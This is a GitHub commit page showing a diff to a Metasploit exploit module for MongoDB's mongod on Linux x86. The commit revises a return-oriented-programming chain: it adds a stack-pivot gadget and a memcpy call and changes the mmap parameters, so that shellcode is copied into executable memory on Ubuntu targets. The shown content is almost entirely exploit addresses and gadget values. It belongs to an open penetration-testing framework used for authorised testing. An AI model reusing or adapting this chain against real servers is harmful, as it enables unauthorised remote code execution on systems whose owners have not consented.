Skip to content

Commit 6b639ad

Browse files
author
agix
committed
add memcpy to the ropchain due to the zeroed mmap function under ubuntu
1 parent baf1ce2 commit 6b639ad

File tree

1 file changed

+8
-2
lines changed

1 file changed

+8
-2
lines changed

modules/exploits/linux/misc/mongod_native_helper.rb

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -34,13 +34,19 @@ def initialize(info={})
3434
'Arch' => ARCH_X86,
3535
'mmap' => [
3636
0x0816f768, #mmap_64@plt
37-
0x0c0c0c0c, #NOPSLED+SHELLCODE
37+
0x8666d07, #add esp, 0x14 / pop ebx / pop ebp / ret
3838
0x0c0c0000,
39-
0x00010000,
39+
0x00002000,
4040
0x00000007,
4141
0x00000031,
4242
0xffffffff,
4343
0x00000000,
44+
0x78696761,
45+
0x0816e4c8, #memcpy@plt
46+
0x0c0c0c0c,
47+
0x0c0c0000,
48+
0x0c0b0000,
49+
0x00002000
4450
],
4551
'ret' => [0x08055a70], #ret
4652
'gadget1' => "0x836e204", #mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]

0 commit comments

Comments
 (0)